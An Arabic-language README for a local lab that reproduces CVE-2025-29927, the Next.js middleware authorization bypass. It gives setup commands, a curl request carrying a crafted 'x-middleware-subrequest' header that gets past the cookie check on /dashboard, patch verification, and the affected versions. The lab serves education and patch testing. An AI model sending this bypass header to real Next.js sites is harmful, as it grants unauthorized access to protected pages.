
مختبر إعادة إنتاج لـ CVE-2025-29927 — تجاوز تفويض الوسيطة في Next.js (CVSS 9.1)
مختبر مصغر لإعادة إنتاج CVE-2025-29927 — تجاوز تفويض الوسيطة في Next.js (CVSS 9.1).
مرافق لـ: مقال تحليل N-Day على Medium
تطبيق Next.js 15.2.2 (ضعيف) مع مسار /dashboard محمي بواسطة ملف تعريف ارتباط. يمكن تجاوز فحص تفويض الوسيطة عبر إرسال رأس HTTP واحد — بدون الحاجة إلى بيانات اعتماد.
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
الخطوة 1 — تأكيد حظر الوسيطة للطلبات غير الموثقة:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
الخطوة 2 — تجاوز الوسيطة باستخدام رأس الطلب الفرعي:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
الخطوة 3 — الترقية إلى الإصدار المُصحح وتأكيد حظر التجاوز:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| المسار | الوصول |
|---|---|
/ | عمومي |
/login | عمومي |
/dashboard | محمي بواسطة الوسيطة (يتطلب ملف تعريف ارتباط session) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5